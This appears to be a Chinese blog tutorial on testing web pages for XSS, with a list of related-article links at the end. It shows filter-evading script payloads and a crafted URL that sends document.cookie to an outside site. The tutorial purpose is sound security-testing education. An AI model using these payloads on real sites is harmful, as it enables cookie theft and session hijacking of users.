安全测试-跨站脚本攻击(xss)

简介:
跨站脚本简称XSS(cross sites script),是web安全里比较重要也比较普遍的一种安全漏洞。跨站脚本是指输入恶意的代码,如果程序没有对输入输出进行验证,则浏览器将会被攻击者控制。可以得到用户cookie、系统、浏览器信息,保存型xss还可以进行钓鱼,以获取更多的用户信息。
  最常见的测试跨站脚本的方法,输入
  <Script>alert(1)</script>
  以及它的各种变体
  <script>alert(1) </script>实体
  %3Cscript%3Ealert(1)%3C/script%3E  URL编码
  <scr<script>ipt>alert(1)<scr<script>ipt>
  <script x=1>alert(1)</script x=1> 还可以这样写
  或者<script>confirm(1)</script>
  <javascript.:alert(1)>;等
  如果提交后,页面弹出警告框,则该页面存在xss漏洞
  *反射型xss
  通俗来讲,即使输入一段代码,既可以看到代码实际的效果,而非原程序的效果
  如:一段代码
  <html><body>
  <script>
  document.write(location.search);</script>//location.search返回url?开始的部分
  </body></html>
  当输入以下url
  "http://127.0.0.1/attrck.html?search=222"
  页面将显示:?search=222 ;但url中如果输入
  /?search=<Script>alert(1)</script>
  则页面的实际代码为:
  document.write(?search=)<Script>alert(1)</script>;
  将弹出警告框,即代码<Script>alert(1)</script>被执行了,而并非页面原来显示?后字符串的效果
  可以使用伪造后的url获取用户cookie
  如,在示例1中加入document.cookie=("name=123");,设置cookie,然后构造url如下,实现将localhost域的cookie传递到百度并进行搜索
  http://127.0.0.1/attrck.html?search=<script>window.open("http://www.baidu.com/s?wd="+document.cookie )</script>
  因为cookie是禁止跨域访问的,但伪造的url,浏览器会认为是还是localhost的域
  *保存型xss
  是指将恶意代码保存到服务器,比如发布一篇文章包含恶意代码,其他用户浏览时将执行恶意脚本
  *基于dom的xss
  严格来说该xss也属于反射性,本文的例子其实也是dom based,是指修改页面的dom对象模型,从而达成攻击,比如页面使用了document.write\document.writeln\innerhtml等dom方法有可能引起dom based xss
  查找xss漏洞一般使用手工输入,需要考虑到输入限制、过滤、长度限制等因素,因此需要设计各种不容的变体输入,以达到测试效果,也可以使用工具,比如burpsuite来获取请求后手工修改请求参数,然后重新提交到浏览器来测试,因为xss并不限于可见的页面输入,还有可能是隐藏表单域、get请求参数等。


最新内容请见作者的GitHub页:http://qaseven.github.io/
相关文章
|
1月前
|
存储 监控 测试技术
测试脚本编写和维护的最佳实践有哪些?
测试脚本编写和维护的最佳实践有哪些?
117 50
|
1月前
|
JavaScript 安全 前端开发
同源策略如何防止 XSS 攻击?
【10月更文挑战第31天】同源策略通过对 DOM 访问、Cookie 访问、脚本执行环境和跨源网络请求等多方面的严格限制,构建了一道坚实的安全防线,有效地防止了 XSS 攻击,保护了用户在网络浏览过程中的数据安全和隐私。
99 49
|
26天前
|
SQL 测试技术 API
如何编写API接口的自动化测试脚本
本文详细介绍了编写API自动化测试脚本的方法和最佳实践,涵盖确定测试需求、选择测试框架、编写测试脚本(如使用Postman和Python Requests库)、参数化和数据驱动测试、断言和验证、集成CI/CD、生成测试报告及维护更新等内容,旨在帮助开发者构建高效可靠的API测试体系。
|
1月前
|
存储 监控 前端开发
如何确保测试脚本的稳定性和可靠性?
确保测试脚本的稳定性和可靠性是保证性能测试结果准确有效的关键
|
1月前
|
监控 网络协议 Java
一些适合性能测试脚本编写和维护的工具
一些适合性能测试脚本编写和维护的工具
|
1月前
|
测试技术 数据库连接 数据库
测试脚本的编写和维护对性能测试结果有何影响?
测试脚本的编写和维护对性能测试结果有着至关重要的影响,
28 1
|
1月前
|
安全 前端开发 Java
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第26天】Web安全是现代软件开发的重要领域,本文深入探讨了XSS和CSRF两种常见攻击的原理及防御策略。针对XSS,介绍了输入验证与转义、使用CSP、WAF、HTTP-only Cookie和代码审查等方法。对于CSRF,提出了启用CSRF保护、设置CSRF Token、使用HTTPS、二次验证和用户教育等措施。通过这些策略,开发者可以构建更安全的Web应用。
93 4
|
1月前
|
安全 Go PHP
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第27天】本文深入解析了Web安全中的XSS和CSRF攻击防御策略。针对XSS,介绍了输入验证与净化、内容安全策略(CSP)和HTTP头部安全配置;针对CSRF,提出了使用CSRF令牌、验证HTTP请求头、限制同源策略和双重提交Cookie等方法,帮助开发者有效保护网站和用户数据安全。
74 2
|
1月前
|
存储 安全 Go
Web安全基础:防范XSS与CSRF攻击的方法
【10月更文挑战第25天】Web安全是互联网应用开发中的重要环节。本文通过具体案例分析了跨站脚本攻击(XSS)和跨站请求伪造(CSRF)的原理及防范方法,包括服务器端数据过滤、使用Content Security Policy (CSP)、添加CSRF令牌等措施,帮助开发者构建更安全的Web应用。
96 3
|
1月前
|
SQL 存储 安全
什么是XSS攻击?什么是SQL注入攻击?什么是CSRF攻击?
理解并防范XSS、SQL注入和CSRF攻击是Web应用安全的基础。通过采用严格的输入验证、使用安全编码实践以及实现适当的身份验证和授权机制,可以有效防止这些常见的Web攻击,保障应用程序和用户的数据安全。
41 0